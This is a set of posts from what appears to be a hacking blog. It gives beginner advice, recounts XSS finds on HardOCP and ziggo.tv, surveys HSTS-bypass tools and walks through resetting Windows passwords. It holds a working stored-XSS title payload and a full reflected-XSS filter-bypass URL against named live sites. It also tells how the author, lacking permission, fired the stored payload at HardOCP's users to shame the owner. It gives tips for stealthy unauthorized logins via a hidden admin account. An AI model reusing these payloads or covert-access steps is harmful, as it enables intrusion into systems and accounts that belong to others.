Becoming a hacker

Advice for starting out.

 

 

This is some advice to new aspiring hackers who are just starting out and trying to learn. I get a lot of people contact me especially from hackforums.net who like my tutorials and want some help over Skype (Skype: frostyhacks).

 

Agenda

First of all and most importantly, drop the agenda. More than 90% of the people who are contacting me have an agenda, they have someone they want to hack for some reason, they're learning not for the sake of gaining a deep understanding of how to hack but because they want the smallest number of steps to achieve their goal.

 

If you're new to hacking and your intention is to jump straight into doing illegal things and you have little knowledge then you're more than likely going to get into some serious trouble with the law. Hacking often isn't the hardest part, doing it safely and anonymously is a lot harder, picking on specific targets and remaining safe is something you should consider 6-12 months down the line.

 

You also need to get some perspective on the situation. Almost all hacking techniques are opportunistic, by that I mean vulnerabilities aren't something that always exist, you can test for them and if they exist you can exploit them, if they don't exist you have to move onto the next vulnerability. If you spend weeks learning SQLi and test your targets website, there's a good chance they won't be vulnerable to it. You may need to learn several different methods of attack before you find one that works. It's possible you may never be able to attack directly, some systems are just too secure.

 

If you're starting with an agenda then you may be extremely disappointed to know that after all that effort you still can't do it. It makes more sense to learn to hack because it interests you, if you just trying to learn to hack to get revenge on some one then just pay someone else to do it for you. You wouldn't bother to learn how an entire car works in order to fix a problem with your car, you just take it to a mechanic.

 

Manage your expectations

This is very important. Most people contacting me need a massive shift in their expectations with the time and effort it takes to get good at hacking. You're not going to blow through an SQLi guide in a few hours and be hacking like a pro, following instructions is not the same as learning! Computer hacking in my opinion is largely knowing more about security than your target, that means being smart, it means being educated and the path to that goal is to spend a lot of time learning and practicing.

 

If you're consumed with trying to meet your agenda of revenge then you're probably trying to blow through a tutorial or guide as quickly as possible and getting stuck and confused and probably extremely frustrated. If this sounds familiar you need to stop for a moment and re-adjust your expectations - you won't be hacking in a few hours or days, you need to consider that you'll spend weeks or months at getting good at a handful of disciplines.

 

If you're hopelessly lost on advanced tutorials then you'll have to go back and learn the basics first and I generally advocate this in my guides, you need to learn some JavaScript before you can do XSS and you need to learn some SQL before you can do SQL injection. Again with the car analogies, it'd be like trying to learn to tune your engine without first knowing what the components are and how they work.

 

Help yourself

Start learning to help yourself, don't rely on hand holding, go out and search for guides and tutorials in the types of hacking you want to do and be proactive. When people contact me for help one of the biggest factors as to how much help I give is down to how much work or effort you've done yourself.

 

If person A contacts me as says, "I've followed your guide and it makes sense but I'm stuck at step number 7, and I've tried X and I've tried Y but I don't quite understand" then I'm likely to help that person as best I can.

 

If person B contacts me and says "I've read your guide but I don't really understand it, can you  teach me?", my answer is going to be no. You've made no effort to learn yourself, if you need help with step 1 then you'll need help with all the steps and I'm not tutoring someone in hacking, at least not for free.

 

Demonstrate that you've made an effort to figure it out when you're stuck and if you still cannot figure it out then I'm happy to help explain specific steps or where you're going wrong.

 

Summary

Don't bother asking me for help if:

 

1) You're new to hacking and only want to learn to screw with someone.

2) You're frustrated and angry because you're stuck after only a few minutes

3) You've made no effort to help your self or work it out.

Hard scripting

Adventures in XSS Pt2

My plans are to expand my previous "adventures in XSS" post into what will hopefully become a long running series. I want to detail my casual discovery of XSS on the web during day to day browsing, none of my professional penetration testing will ever be revealed to the public. I want to highlight a phenomena in this post which many white hat hackers may have run into, and that's complacency of website owners.

[H]ard|OCP.com

When I was attending University, some 10+ years ago, my flatmates introduced me to Hard|OCP, one of the more respected computer hardware enthusiast websites, at the age of 19 I already had a fascination with computer hardware, but it was Hard|OCP that introduced me to bench marking and overclocking for the first time.

I was a loyal member of the community for many years, extremely naive as a relatively late comer to the hardware scene. I engaged in fanboyism to justify my purchases and plenty of healthy banter, I loved learning as much as I could from everyone.

Fast forward 7-8 years and my time with Hard|OCP had come to an end, a difference in opinion of review techniques left me unable to really make use of their content and some bad decisions by their forum moderators in how they handle running the forums marked my exit. I quickly gravitated towards the Anandtech community where I made my new home and have been since.

XSS

About 6 months ago I was showing my brother some examples of what I had been learning by tinkering with computer security, without much thought I loaded Hard|OCP and I set out to give him an entirely fictional example of how things like SQLi and XSS worked. It was during that process that I realised that I'd accidentally stumbled across a real examples of XSS. I was surprised at the time although on reflection the relatively old and now retro style of Hard|OCP suggests that development probably hasn't occurred for years and that security might not be great.

Some time later I decided to thoroughly test out the site to try and give something back to the community by finding any exploits and reporting them to Kyle the owner. I methodically went through each page, each section, all the archives, every feature and I tested it for every exploit I knew how to perform. When I was done I had found XSS on the search page, some strange overflow problem with the archive system where extremely long parameters would actually cause PHP source code to spill into the HTML source potentially revealing sensitive information, and XSS in their forum posts. They take the newest 10 forum thread titles and put them on the front page without sanitising them. The forum itself did not sanitise the input before putting it into the database, instead it does it after the data is pulled from the database but before it lands on the final page.

This should act as a cautionary tale to everyone. Sanitising input is important and doing it after being pulled from the database rather than before it's put in is seen by some as the proper way to sanitise data (after all these characters don't have any special meaning in the context of the database, only the page). While I agree with that methodology it does leave all future development potentially vulnerable to XSS as developers may add new features and simply forget to do the basic security checks.

As a penetration tester for web technology, one important lesson to learn is how to find user input. User input comes in many different forms, the most obvious is anywhere a user literally provides text input as part of a legitimate function of the website, for example forum posts or news comments. However these are obvious and often the first thing to be checked and fixed, there's usually a lot less obvious ones that require more creativity to spot, using the forum as an attack vector on the main site (they're hosted separately) is a good example.

Responsible Disclosure

It was at this point I contacted Kyle Bennett the owner of Hard|OCP, I had tested the reflected XSS vectors in the search feature and abused the archive page parameters, but testing a stored XSS exploit was something I really wanted his permission to do. I fired him and email and explained the exploits, he was fast to respond and seemed eager to fix everything, despite not being a PHP developer I explained the standard steps for preventing XSS which is to HTML encode all user input, something which takes a competent coder just a few minutes. He set his developer onto fixing this immediately.

Meanwhile I speculated that an XSS attack might be possible from forum thread titles, I'd observed the page caching forum threads every 15-30 minute intervals, I'd seen rogue instances of people using special HTML characters in their forum titles purely through normal use. So I asked Kyle if I could test and promised to not cause any interruption. He agreed and I went about firing through forum threads with enough HTML markup in them to test exposure without ever creating a problem on the front page. I quickly confirmed this vulnerability and he added it to the list of things to be fixed.

Complacency

Unfortunately one of the biggest problems you'll run into as a white hat hacker is complacency, people have little to no motivation to spend time, effort and money fixing security issues unless they have a really solid understanding of the potential fallout caused by the problem. Even when you provide a penetration testing service for free (something that would otherwise cost upwards of thousands of dollars), they're often not motivated to fix issues, especially if the vulnerabilities have no impact on the current operation of the site/service.

While it's true that Kyle addressed most of the issues, it's also true that he left the forum XSS wide open. I did spend several weeks keeping track of the issue and waiting for a fix, in the end I emailed him again as a reminder that this was still an issue and a particularly nasty one. Before long I forgot about the site, it was only in the last few days I came back and checked the front page for exploits, sure enough the forum threads were still coming through unfiltered. Kyle had everything he needed, he knew the attack vector and knew the seriousness of it, all that was lacking was motivation.

We now enter a moral gray area, because my motivations are good, I want Hard|OCP to be secure and all the users to be safe, however these actions reveal the vulnerability for anyone else savvy enough to copy and abuse. In the end I decided that I'd take the shock route and try and deliberately minimize the disruption in the meantime.

The hack

The forums threads are pulled periodically from the database by arrangement of date created, they're then cached and used on the front page, the threads drop off as new ones are added, at Hard|OCP's peak that's about 7-8 threads per refresh. So I carefully timed when the updates were happening, I measured the times the posts rotated out, I wanted to post the thread as close to the update as possible, after all I didn't want a forum moderator deleting the thread before the front page had a chance to cache it. I also didn't want the front page to display the hack too long, luckily the natural cycle of the forum posts would quite quickly cycle out the hack. I planned it for a time of day with a lot of forum activity to naturally push the hack off the front page in the shortest time. I then posted a basic javascript alert saying "Fix me :(" and then went to lunch at the pub and had a few beers in anticipation of what was to come.

This is all it took:

:("/><script>alert('Fix me :\'(');</script>

There was only space for a few characters to deal with, they shorten any really long thread title in order to fit neatly on the front page, this attack was 1 character short. It didn't cause any real disruption just the alert, the site worked as normal otherwise. I'd have tidied up the HTML after it had I more characters to deal with.

The fallout

What happened next was exactly what I expected, a bunch of users were hit with popups, a few smart people spotted the exploit on the font page, they checked the source code to find the point of origin, that listed the forum thread ID. Several posts appeared in thread I had started, they joked about XSS and how they typically browse with noscript enabled, a smart choice.

Moments later threads popped up in the website feedback forums, people who don't know XSS had spotted the popups and reported them, one user calmed everyone by saying Kyle and his team were "on it", clearly indicating this had been reported and acknowledged. I have no doubt Kyle knows the source of the issue as I did it from my real forum account and they'd found the thread and removed it already.

An hour or so later all the threads were deleted, my account was banned (bye bye 6000 post count) and there exists no sign it ever happened. Quickly checking the thread names on the front page later in the day, this is still not fixed, despite the fix being just a few lines of code. In PHP all you have to do is implement the htmlspecialchar() function to remove all special characters from the user supplied input.

Morality

This whole ordeal raises some interesting ethical questions and for experienced white hat hackers this almost certainly isn't unfamiliar territory. You quickly become accustomed to the types of exploits that are possible and the fallout they can potentially bring, however conveying that to site owners who aren't code savvy is a tricky task. Often fixing these issues cost development time and money. You can repeat vulnerabilities over and over and allow months to go by when developers only need mere minutes to fix, but eventually you have to accept that until something bad happens, this probably isn't going to get fixed. Let me clear this has nothing to do with Kyle, it's just a general pattern that many owners fall into. Add to the fact that bad things are often done with some level of stealth (not everyone wants to deface) and that acts as a motivator to get site owners to take action now rather than later.

The whole point of starting this blog post with my background and personal investment in the Hard|OCP community was to demonstrate that these kind of actions come from the desire to protect people, not to harm them. Some people might argue that it's just an excuse to hack things, but the reality of the situation is that I pen tested this site for free, I explained in detail the hacks and risks to the owner as well as the steps to best fix it. I spent time testing and re-testing their implemented fixes, as well as coming back to check on the site and see if anything is still vulnerable at regular intervals - I'm not paid anything to do that. At the end of the day hackers are left with a choice which is the lesser of 2 evils, either cause an embarrassing situation and hope that it encourages a legitimate fix or leave the vulnerability open and hope that no one ever finds and abuses it.

And nothing stays hidden forever.

Kyle if you ever read this, I hope you understand that it wasn't meant maliciously but rather to keep your users safe. I'd like to extend a personal thank you for running the site that provides endless value and helped teach me, the same to all the forum members who contribute positively to the community.

*Update* Kyle wasn't please and accused me of whining about being banned, I genuinely have no hard feelings about that, for the record. I've gone back and tried to re-word parts of the post to better reflect that.

Work [H]ard, Play [H]ard, Stay [H]ard.

My first bug bounty

Adventures in XSS

Yesterday I submitted my first bug bounty which felt just as good as I thought it would, great success. The exploit is on www.ziggo.tv, it's only a basic reflected XSS exploit but it was fairly hard won as they have extensive protection to deal with user input. It turns out that despite a bug bounty description that offers compensation in exchange for bugs, they don't think XSS is dangerous enough to warrant paying out. Normally I'd be more discreet with security issues but I thought that was a bit of a dick move on their part so I've decided to publish instead and at least get an interesting blog post out of it.

Cross Site Scripting

If you're not familiar with XSS then please take a look another of my posts which explains XSS attack vectors in depth, you can find it here. The TL;DR version is that XSS is an exploit that allows attackers to inject JavaScript into someone else's website via an abuse of user submitted content, any users who browse the website are open to any number of attacks.

In this case the user submitted content was a search feature on their media site, if you enter a search term you'll get back a very ugly looking URL including an array of page parameters, one of which is the search term. This is the result of searching for "test".

http://ziggo.tv/on-demand/series/top-10/?type=serie&genre=&category=Top+10+Serie&in_package=&package=&view_type=cover&filter_genre=&filter_package=&search_by_keyword=test

You can see the search_by_keyword parameter at the end, it is set to a value of test, the basic attack methodology of reflected XSS is to craft a malicious link and then send that link to a victim(s), or simply post it on another site and encourage people to click on it. Only those people following the specially crafted URL will be affected by the vulnerability, everyone else arriving at the search page naturally will never be affected.

Trial and error

Finding XSS vulnerabilities usually involves a lot of trial and error, you're blind as to how the server processes input so you need to present specific inputs and test to see how the server behaves and what it returns, this helps you build up a mental image of the method by which they processes data and return it to the user, it almost always has some kind of sanitization that removes potentially harmful code.

The first thing to do is just throw in an attempt to open up a script tag and see the behaviour, let's try the parameter

Input

search_by_keyboard=test" /><script>

This does several things, first of all having the word test in there helps me find the result in the source code of the page that is returned, that just makes iterative testing much faster. The " /> closes out the input box we're injecting this into. In the HTML on the result page you'll find the search box pre-populated with the old search result which is the source of the injection, this is where your search term is being returned to the page. It looks something like this normally

HTML

<input type="text" name="search_by_keyword" placeholder="Zoeken" value="" />

You can see that by using the input test" /><script> we can prematurely close the value property and then close the input tag itself, leaving us able to write valid HTML such as <script> tags.

However the result in this case was that <script> was replaced with [removed], they're specifically  looking for script tags and replacing them with something harmless, this is the first piece of the puzzle that is their user input sanitization.

The next step I took was looking at attack vectors that didn't use <script> tags explicitly, there's a huge number of these but a really easy one is to give HTML elements some event attributes, events are triggered when some specific condition occurs, they can be when a user hovers a mouse over an element, or it could be when an error is encountered, writing deliberately malformed HTML inside a tag and including an onerror event attribute is a great way to automatically trigger itself and run the Javascript that is associated with the event. It can be done like this

Input

search_by_keyboard=test" onerror="" />

You simply put your Javascript inside the onerror attribute, in this circumstance input elements don't support onerror attributes, but the point isn't to exploit straight away, it's to map out what sort of characters are allowed and see if anything is modified or removed. The result we get is unexpected:

HTML

<input type="text" name="search_by_keyword" placeholder="Zoeken" value="test"  />

It looks like they've removed the onerror="" but they've kept test, they obviously have some kind of blacklist of denied strings. There is however a benefit to this, unlike the detection of <script> which is replaced with [removed], these attributes are just deleted, that has the extremely helpful property of collapsing together text that exists either side. For example

ABCDonerror=""EFGH 

becomes simply

ABCDEFGH

There is the potential for us to use this to help beat other parts of the filter, if we can work out the order the filters are applied then we can pass the first one by splitting up our key words and have the other filter reassemble them. Let's try breaking up a script tag:

Input

search_by_keyboard=test" /><scronerror=""ipt>

The result is

HTML

<input type="text" name="search_by_keyword" placeholder="Zoeken" value="test  />&lt;script&gt;"

Damn, so close. <script> now evades being replaced with [Removed], however they've safely HTML encoded the angle brackets into &lt; and &gt;, and oddly the close quote ends up at the end rather than closing the value attribute like it should.

If there was only a method to stop the angle brackets from being HTML encoded, unfortunately you c cannot use the same trick of splitting up text in order to obfuscate it when you're only dealing with a single character...or can you?

Enter URL encoding to save the day, all text can be URL encoded, it just so happens the site is taking URL encoded input and it's decoding it for us before usage, that's handy. So we can represent < and > as their URL encoded counterparts which is %3C and %3E. These on their own are correctly URL decoded by the server and are treated like regular brackets, but there's nothing to stop us from breaking up the URL encoded variants with an event tag. Let's try.

Input

search_by_keyboard=test"" />%3onerror=""Cscript%3onerror=""E

You'll also note I've added a 2nd quote after test, this is to try and keep the HTML mark up well formatted by adding in another quote as one alone is removed. It's a success, our output is now

HTML

<input type="text" name="search_by_keyword" placeholder="Zoeken" value="test " /><script>

Now all we need to do is craft our exploit, in this case I'm just going to load and play some festive christmas music from another website, we can do this using the following Javascript:

var new_audio = document.createElement("audio");
new_audio.src="http://www.singing-bell.com/wp-content/uploads/2013/09/Jingle-Bells-Singing-Bell.mp3";
new_audio.play();

Let's add that in, wrap the end in a close script tag </script>, we'll need to use the same trick with onerror="" to obfuscate it. Let's also clean up after ourselves to make sure we're not leaving behind any malformed HTML, when we prematurely closed the value attribute and then closed the input tag we left behind characters that were designed to do this. So let's open up an extra html element ourselves and not close this tag, it will be closed by the characters left behind. For this purpose a half open anchor tag is fine - this keeps the page looking the same as before and masks the attack. Our final URL is

http://ziggo.tv/on-demand/series/top-10/?type=serie&genre=&category=Top+10+Serie&in_package=&package=&view_type=cover&filter_genre=&filter_package=&search_by_keyword=test"" />%3onerror=""Cscript>var new_audio = document.createElement("audio");new_audio.src="http://www.singing-bell.com/wp-content/uploads/2013/09/Jingle-Bells-Singing-Bell.mp3";new_audio.play();%3onerror=""C/script><a "

SUCCESS!

Merry Christmas everyone!

Note: Because I submit the bug to their security team it's not likely to remain active for very long, also if you have a slow connection it might take a few seconds to load the audio.

Defeating HSTS and other acronyms

Defeating HTTP Strict Transport Security

This tutorial covers attacks on HTTP Strict Transport Security, sometimes known as STS or HSTS. Yes that's right, we have so many acronyms we're now nesting them. Macronyms to the intellectual elite.

A history lesson

To understand what HSTS is you need to understand the history of MITM (Man In The Middle) attacks on digital communications. In the beginning there was HTTP, The browser (Alice) could communicate with the web server (Bob).

Alice <------> Bob

However an adversary Eve could perform a MITM attack on connection by telling Alice that she is Bob, and telling Bob she is Alice, both Bob and Alice send their communications to Eve who logs the information, potentially modifies it and then lets it pass on to the real destination, both Bob and Alice are non the wiser.

Alice <------> Eve <------> Bob

To secure communications HTTPS was invented, a secure version of HTTP which simply layered HTTP inside an SSL connection, this did 3 things, it provided Secrecy, Integrity and Authenticity.

SSL works using public key cryptography, Alice and Bob both have a public and private key, the public keys are shared first, messages from Alice are signed and encrypted with Bobs public key and only Bobs private key can decrypt them, and vice versa. Now Eve cannot read the communications, she can see the exchange of public keys across the wire however she cannot decrypt the message without somehow discovering the private keys first.

This worked well for some time, until Moxie Marlinspike did us all a favour, he educated us.

SSL Strip

SSL strip is an attack on HTTPS connections written by Moxie, his thesis is that most HTTPS connections on the internet are not initiated by the user typing "HTTPS" into the address bar, but rather encountered by a HTTPS link provided in an existing HTTP context or by the web server redirecting HTTP requests to HTTPS ones.

SSL Strip simply monitors the plain text HTTP connections, any responses from the web server back to the client that includes HTTPS hyper-links are re-written to be HTTP, and any redirect responses the server sends are also re-written from HTTPS to HTTP, internally SSL Strip keeps track of what it has modified. The client is forced to communicate with SSL Strip in HTTP but SSL Strip faithfully presents a HTTPS connection to the web server using its own public/private key pair.

This forces all communications to use regular HTTP connections between Alice and Eve where the data is sent in the clear and can be logged or modified. In practice SSL Strip is deadly, few people notice they're browsing a normally secure website with SSL disabled.

Alice <---HTTP---> Eve <---HTTPS---> Bob

HSTS

HSTS was created as a solution to attacks like SSL Strip. It introduces a new header inside HTTP communications called Strict-Transport-Security, the server includes this header which tells the browser to only use SSL connections on the specified domain in future and for how long, if the browser supports HSTS headers correctly it will create a new policy to always use SSL until the expiry date elapses.

This creates only 2 points of attack for adversaries. 

1) The host name and underlying DNS system to verify it, if secure DNS isn't used then domains can spoofed and pointed to attackers servers.

2) The expiry time of the policy, after the expiry time has been reached the browser reverts to normal behaviour which is to connect over regular HTTP unless specified otherwise.

Both of these vectors have been exploited recently.

SSL Strip 2

Leonardo Nve presented a talk at Blackhat Asia 2014 where he introduced an improved version of Moxies original tool SSL Strip. SSL Strip 2 performs MITM attacks on DNS requests forcing requests from the browser to be sent directly to the attacker.
 

NTP and time shifting with Delorean

Network Time Protocol (NTP) is a widely used protocol for synchronizing time across a network, most major Operating Systems implement some form of NTP to keep the system time as accurate as possible, there are several revisions of NTP including ones which implement secure time updates with cryptographically signed messages (v4 onwards) however no major operating systems currently support this out of the box making almost everyone vulnerable to MITM attacks on time updates.

Each operating system behaves differently with regards to when time updates occur and with what frequency, as well as a maximum delta change from the current time/date that is allowed in a single update. Step in Jose Selvi with new MITM tool called Delorean which focuses on MITM attacks on NTP, you can find his whitepaper here.

Using Delorean and time shifting the Operating Systems internal clock, any software that relies on the internal clock such as the browsers checking for expired policies can now be fooled by adversaries. Forcing the internal clock to the expiration date of the policy and then modifying all future HTTP request to remove the HSTS value from the header will prevent the browser from forcing SSL usage and all existing SSL downgrade attacks will work as normal.

Password Tomfoolery

Windows password "recovery"

Sometimes we forget our passwords and need to recover or reset them. Yeah right! You want to hack someone you know, just admit it you diabolical mastermind. This post investigates the strength of Windows password schemes and acts as a good educational primer for an upcoming post I have planned to cover password cracking. I also cover a simple tutorial to reset forgotten windows password and what kind of mitigation you can use to protect your passwords and data from being reset by adversaries.

Intro to Passwords

First a little bit of history regarding passwords and some theory. Microsoft have supported passwords for users ever since Windows 3.1 in order to help secure user's data. There is an interesting problem with passwords, if the Operating System has to verify the password then doesn't it have to compare whatever the user supplies with the original? If that's the case doesn't it need to store the original somewhere? With the ability to remove hard drives from a computer and install them in another computer what is to stop us using another system to read the password from the hard drive? A curious problem.

The solution is hashing, a hash is a mathematical function which takes some variable length plain text input such as a password and it produces a fixed length output which appears random or scrambled. Hash functions are designed to be one way, there is no inverse function that produces the original plain text from the hash, in fact many plain text inputs may create the same hash, otherwise known as a collision. Collisions are undesirable but in most hashing algorithms the odds of them occurring is very small.

Using this technique the operating system can generate the hash of your password when you first pick it and store that on the hard drive, when you provide a password to log in with in future it simply hashes what you provided and then compares the hashes to see if they match, if they do it knows the passwords are the same, without ever needing to know the original.

LM and NTLM

The first hashing function Microsoft introduced was used by the LAN Manager and was known as the LAN Manager hash, Lan Man Hash or simply LM hash, it was adopted in windows 3.1 and was used for all the user desktop OS's up until Windows ME (Win3.1, Win95, Win98, Win ME), there are significant weaknesses in the strength of LM hashing. Microsoft introduced a successor in their server range of OS's starting in Windows NT4, the new hash is called NTLM which was later revised to NTMLv2 in Windows 2000. Eventually the user OS line switched to be NT based with windows XP onwards, adopting NTLMv2 which has since been used in Win Vista, Win7 and Win8.
 

There are brute force attacks that can be done against LM and NTLM that can retrieve the original plain text, in the case of LM for any length password (maximum 16 characters) in the case of NTLM practical attacks work on passwords up to length 8-12, above that they become infeasible on modern hardware. These attacks focus on hashing all possible combinations of passwords and comparing the hashes until they're discovered, it's very calculation intensive and can take long periods of time. Because of the impractical nature of these recovery methods this post will focus on resetting passwords to new values rather than recovering old ones, I will cover LM and NTLM recovery in a future post.

Password reset

While hashes protect the password from being known if someone is to read the hard drive from another operating system, it cannot possibly stop you from hashing a new password and then replacing the original hash with one which you know the plain text value of. It's normally impractical to remove the hard drive of the target computer and install it in another computer, thankfully there is a better way, simply write an operating system to a USB flash drive, install a boot sector that allows the PC to boot from the drive and you have a handy tool you can take anywhere and use to replace unknown password hashes with known ones, resetting the password.

Hiren's BootCD

There are many tools to allow you reset passwords, however my personal preference is a handy suite of tools called Hiren's BootCD, it's a bit like the Swiss Army Knife of PC tools, you can find Hiren's BootCD here and it's free to download. The instructions on how to make a bootable USB flash drive and install Hiren's BootCD can be found here.

The usage is relatively simple, power off your target PC, place the USB drive into any working USB slot, turn on the computer and boot from the USB, reset the password on the account you like and then remove the key and reboot again. If the key doesn't boot but instead windows loads as normal then you'll have to enter BIOS and change the boot order and put USB booting above booting off the hard drive.

• Once you've booted off the drive simply select the "Offline Windows NT/2000/XP/Vista/7 Password Changer" and press enter, wait for the screen to stop scrolling text, eventually the Offline NT Password & Registry Editor will load.
• Select the hard drive partition that contains the Windows install.
• Confirm the windows registry path, in almost all cases the default location will be correct, simply press enter.
• Select Password reset by pressing enter.
• Select Edit user data and passwords, press enter.
• Enter the user name of the user you wish to reset.

A pro tip here is that if you want to access a machine but no alert the users by resetting their password then you can enable a hidden admin account which exists in Vista and newer Microsoft OS's. Enable the account and reset the password then when booting the admin account will be in the list of users to select from. As admin you'll have access to all the other user profile folders but you have the benefit of reverting the account to being disabled once you're done which will remove it from the user list. For maximum stealth don't forget to undo any BIOS changes you made as well.

• Once you've changed the password, press Q to quit the tool.
• You're prompted if you want to write the files back to the computer, press Y and then enter.
• Press enter again to confirm you're done using the tool.
• Remove the USB drive and reboot the PC again
• If the computer has multiple accounts simply select the account you reset and leave the password blank, if the computer only has 1 account then you'll be logged in automatically.

More in depth instructions with images can be found here.

Note: While this tool is useful for resetting local computer accounts, it wont help with user accounts on Microsoft domains, these are typically controlled from a DC (Domain Controller).

Mitigation

In order to protect yourself from these sort of attacks you only have one good option and that's to encrypt the entire hard drive with FDE (Full Disk Encryption), this stops the data on the hard drive from being overwritten in plain text, not just the password hashes but all of your data. Trying to stop USB booting is an ineffective way of preventing these attacks, even if you disable USB booting in the BIOS and set an admin password on that, the BIOS can be reset. If you physically disable the USB drives there's always the option of removing the system disk from the computer and simply putting it into another PC.
 

I personally use and recommend TrueCrypt which is a free and open source FDE tool which was recently independently audited and found to have no back doors and strong encryption, the project was ended by the creators but has been forked by the community, you can find it here. There are many other different tools you could use, check out an extensive list here.
 

Make sure you read and understand the implications of FDE before using it, you will get permanent loss of your data if you forget or lose the password. FDE also has some performance impact on read/write speeds in certain systems. For this reason I recommend Intel i3/i5/i7 CPUs based off the Sandy Bridge architecture or newer since they have very fast hardware AES instruction sets which make the performance overhead nominal. TrueCrypt comes with hardware AES support and a handy benchmark tool to test read/write speeds on your hardware.